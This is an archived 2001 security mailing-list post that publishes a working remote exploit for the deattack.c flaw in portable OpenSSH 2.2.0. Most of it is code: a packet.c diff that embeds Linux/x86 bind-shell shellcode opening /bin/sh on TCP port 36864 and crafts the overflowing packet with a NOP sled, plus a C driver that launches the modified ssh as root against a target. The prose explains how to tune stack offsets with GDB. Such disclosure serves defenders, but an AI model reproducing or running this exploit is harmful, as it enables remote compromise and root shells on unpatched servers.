OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
From: Hugo Dias (bsphereCLIX.PT)
Date: Wed Feb 21 2001 - 00:38:15 CST

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1

    This is the exploit for the bug in file deattack.c in the portable
    version of openssh-2.2.0 (and possible below).

    We need to know several numbers for it to work so it's very difficult
    to use the exploit on the wild.

    1. We need to know is the EXACT distance of the variable "h" to the 2
       last bytes of the saved EIP in the stack with an increment of 2 bytes.

    2. This is the number that we place instead of the two first bytes.
       (last two bytes are the first two bytes of the address)
       Example : 0x0806d3de
     We will replace 0x0806 for the address we want, so we will replace
     0xde 0xd3 0x06 0x08 for 0xde 0xd3 0x0f 0x08
     that is the address of the buffer with the shellcode.

    3. Packet Length

    4. REAL packet length. The shellcode will go in the difference between this
       two lengths,as the sshd server reads 8192(?) bytes at time .

    Then we need the host and the port number :)

    Finnaly we kneed a small number that doesn´t cause SEG FAULT.
    It doesn´t matter how large is it as long as it doesn't cause any
    segment error.
    It can be 0,1,2,3,...

    Example :

    ./xp 30988 0 114200 117280 127.0.0.1 22 3

    This works on Linux Mandrake 7.2 using "sshd -d" being debugged with GDB,
    but it's possible to attach a SSHD child with GDB and find the numbers we
    need for this to work with the daemon.If the SSHD child doesn't SEG FAULT
    in the beggining (we can do that easily by trying a few numbers) it will
    take more than 10 seconds to process the packet and that is sufficient to
    attach the process without changing its code and put a "sleep(15)" in it.

    We need to be root :) for doing this ...
    Finding the numbers we need without being root is very difficult.
    And without no access to any user in the system at all its even more difficult.
    This addresses changes with the plataform,operating system,packet length...

    BUT its possible to do it (pheraps by reproducing exactly the victim environment)
    and thats why i wrote this.

    So as allways : "Please upgrade your software"

    Get the last version of OpenSSH from :

    http://www.openssh.com

    - ------------------------------------------------------------------------------------
    I used a modified version of the openssh-2.3.0 (portable) SSH to produce the packet.

    THIS FILES ARE FOR EDUCATIONAL PURPOSE ONLY.

    Diff file to modify an ssh client for using it with the exploit :
    - ------------------------------------------------------------------------------------

    - --- packet.c Sat Oct 14 06:23:12 2000
    +++ packet.c Tue Feb 20 09:33:00 2001
    -68,6 +68,85
     #define DBG(x)
     #endif
     
    +
    +/*
    + * Linux/x86
    + * TCP/36864 portshell (old, could be optimized further)
    + */
    +
    +char shellcode[] = /* anathema <anathemahack.co.za> */
    +/* main: */
    +"\xeb\x72" /* jmp callz */
    +/* start: */
    +"\x5e" /* popl %esi */
    +
    + /* socket() */
    +"\x29\xc0" /* subl %eax, %eax */
    +"\x89\x46\x10" /* movl %eax, 0x10(%esi) */
    +"\x40" /* incl %eax */
    +"\x89\xc3" /* movl %eax, %ebx */
    +"\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */
    +"\x40" /* incl %eax */
    +"\x89\x46\x08" /* movl %eax, 0x08(%esi) */
    +"\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */
    +"\xb0\x66" /* movb $0x66, %al */
    +"\xcd\x80" /* int $0x80 */
    +
    + /* bind() */
    +"\x43" /* incl %ebx */
    +"\xc6\x46\x10\x10" /* movb $0x10, 0x10(%esi) */
    +"\x66\x89\x5e\x14" /* movw %bx, 0x14(%esi) */
    +"\x88\x46\x08" /* movb %al, 0x08(%esi) */
    +"\x29\xc0" /* subl %eax, %eax */
    +"\x89\xc2" /* movl %eax, %edx */
    +"\x89\x46\x18" /* movl %eax, 0x18(%esi) */
    +"\xb0\x90" /* movb $0x90, %al */
    +"\x66\x89\x46\x16" /* movw %ax, 0x16(%esi) */
    +"\x8d\x4e\x14" /* leal 0x14(%esi), %ecx */
    +"\x89\x4e\x0c" /* movl %ecx, 0x0c(%esi) */
    +"\x8d\x4e\x08" /* leal 0x08(%esi), %ecx */
    +"\xb0\x66" /* movb $0x66, %al */
    +"\xcd\x80" /* int $0x80 */
    +
    + /* listen() */
    +"\x89\x5e\x0c" /* movl %ebx, 0x0c(%esi) */
    +"\x43" /* incl %ebx */
    +"\x43" /* incl %ebx */
    +"\xb0\x66" /* movb $0x66, %al */
    +"\xcd\x80" /* int $0x80 */
    +
    + /* accept() */
    +"\x89\x56\x0c" /* movl %edx, 0x0c(%esi) */
    +"\x89\x56\x10" /* movl %edx, 0x10(%esi) */
    +"\xb0\x66" /* movb $0x66, %al */
    +"\x43" /* incl %ebx */
    +"\xcd\x80" /* int $0x80 */
    +
    + /* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
    +"\x86\xc3" /* xchgb %al, %bl */
    +"\xb0\x3f" /* movb $0x3f, %al */
    +"\x29\xc9" /* subl %ecx, %ecx */
    +"\xcd\x80" /* int $0x80 */
    +"\xb0\x3f" /* movb $0x3f, %al */
    +"\x41" /* incl %ecx */
    +"\xcd\x80" /* int $0x80 */
    +"\xb0\x3f" /* movb $0x3f, %al */
    +"\x41" /* incl %ecx */
    +"\xcd\x80" /* int $0x80 */
    +
    + /* execve() */
    +"\x88\x56\x07" /* movb %dl, 0x07(%esi) */
    +"\x89\x76\x0c" /* movl %esi, 0x0c(%esi) */
    +"\x87\xf3" /* xchgl %esi, %ebx */
    +"\x8d\x4b\x0c" /* leal 0x0c(%ebx), %ecx */
    +"\xb0\x0b" /* movb $0x0b, %al */
    +"\xcd\x80" /* int $0x80 */
    +
    +/* callz: */
    +"\xe8\x89\xff\xff\xff" /* call start */
    +"/bin/sh";
    +
    +
     /*
      * This variable contains the file descriptors used for communicating with
      * the other side. connection_in is used for reading; connection_out for
    -125,6 +204,9
     /* Session key information for Encryption and MAC */
     Kex *kex = NULL;
     
    +/* Packet Number */
    +int count = 0;
    +
     void
     packet_set_kex(Kex *k)
     {
    -461,6 +543,8
      unsigned int checksum;
      u_int32_t rand = 0;
     
    + count++;
    +
      /*
       * If using packet compression, compress the payload of the outgoing
       * packet.
    -1172,7 +1256,64
     void
     packet_write_poll()
     {
    - - int len = buffer_len(&output);
    + int len;
    + char buf[50],*p,*ptr;
    + char code[270000];
    + long sz;
    + FILE *f;
    +
    + if (count == 2)
    + {
    + f = fopen("/tmp/code","r");
    + fgets(buf,28,f);
    + fclose(f);
    +
    + sz = GET_32BIT(&buf[24]);
    + buffer_clear(&output);
    + buffer_append(&output,code,sz);
    +
    + len = buffer_len(&output);
    +
    + ptr = buffer_ptr(&output);
    +
    + for(p = ptr + 4 ; p < ptr + GET_32BIT(&buf[16]) ; p+=8)
    + {
    + *p=buf[0];
    + *(p+1)=buf[1];
    + *(p+2)=buf[2];
    + *(p+3)=buf[3];
    + *(p+4)=buf[4];
    + *(p+5)=buf[5];
    + *(p+6)=buf[6];
    + *(p+7)=buf[7];
    + }
    +
    + sz = ((GET_32BIT(&buf[20]) + 8) & ~7);
    +
    + for(p = p ; p < ptr + sz ; p+=8)
    + {
    + *p=buf[8];
    + *(p+1)=buf[9];
    + *(p+2)=buf[10];
    + *(p+3)=buf[11];
    + *(p+4)=buf[12];
    + *(p+5)=buf[13];
    + *(p+6)=buf[14];
    + *(p+7)=buf[15];
    + }
    +
    + sz = len - GET_32BIT(&buf[20]);
    +
    + memset(p,'\x90',sz);
    + memcpy(p+sz-strlen(shellcode)-16,&shellcode,strlen(shellcode));
    + memcpy(ptr,&buf[20],4);
    +
    + count++;
    + }
    +
    + len = buffer_len(&output);
    +
    +
      if (len > 0) {
       len = write(connection_out, buffer_ptr(&output), len);
       if (len <= 0) {
    -1299,3 +1440,4
      max_packet_size = s;
      return s;
     }
    +

    - ------------------------------------------------------------------------------------

    /*

    THIS FILE IS FOR EDUCATIONAL PURPOSE ONLY.

    BlackSphere - Hugo Oliveira Dias
    Tue Feb 20 16:18:00 2001

    Email: bsphereclix.pt
    Homepage: http://planeta.clix.pt/bsphere

    Exploit code for using the modified ssh

    */
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>

    /* Path to modified ssh */
    #define PATH_SSH "./ssh"

    int main(int argc,char *argv[])
    {
     int f;
     int port;
     unsigned long addr,*ptr;
     char *buffer,*aux,ch,*ssh;
     int i;

     if (argc < 8)
     {
      printf("\nUsage : %s <saved eip> <count> <packet length> <username length> <host> \
    <port> <h(i)>\n\n",argv[0]);
     
      fflush(stdout);
      _exit(0);
     }

     port=atoi(argv[6]);

     buffer = (char *) malloc(29);

     ptr = (unsigned long *) buffer;

     *(ptr++) = 1543007393 + strtoul(argv[1],0,10);
     *(ptr++) = 0;
     *(ptr++) = strtoul(argv[7],0,10);
     *(ptr++) = 0;
     *(ptr++) = 16520 + strtoul(argv[2],0,10);
     *(ptr++) = strtoul(argv[3],0,10);
     *(ptr++) = strtoul(argv[4],0,10);

     buffer[29]=0;

     for(i = 0 ; i < 27 ; i+=4)
     {
      aux = buffer + i;
      ch=*aux;
      *aux=*(aux+3);
      *(aux+3)=ch;
      ch=*(aux+1);
      *(aux+1)=*(aux+2);
      *(aux+2)=ch;
     }

     printf("\nSaved Eip : &h + %u",1543007393 + strtoul(argv[1],0,10));
     printf("\nReturn Address : 0x%xxxxx",(16520+strtoul(argv[2],0,10))/8);
     printf("\nPacket Length : %u",(strtoul(argv[3],0,10)+8) & ~7);
     printf("\nUsername Length : %u\n\n",strtoul(argv[4],0,10));
     fflush(stdout);
     

     f = open("/tmp/code",O_RDWR | O_CREAT,S_IRWXU);
     write(f,buffer,28);
     close(f);

     ssh = (char *) malloc(strlen(PATH_SSH) + 100 + strlen(argv[5]));

     strcpy(ssh,PATH_SSH);

     sprintf(ssh+strlen(PATH_SSH)," -p %i -v -l root %s",port,argv[5]);
     
     printf("%s\n",ssh);

     system(ssh);

     _exit(0);
    }

    - ------------------------------------------------------------------------------------

    BlackSphere - Hugo Oliveira Dias - 20 Fev 2001

    Email: bsphereclix.pt
    Homepage: http://planeta.clix.pt/bsphere

    - ------------------------------------------------------------------------------------
    -----BEGIN PGP SIGNATURE-----
    Version: PGPfreeware 7.0.3 for non-commercial use <http://www.pgp.com>

    iQA/AwUBOpK/xBmmBmSsB+85EQLAWACgzdeSqpGTpz+TklsupMD5/KUCt6UAn248
    J2jw4HBHgb7MHR/vfYqMDY3l
    =OD22
    -----END PGP SIGNATURE-----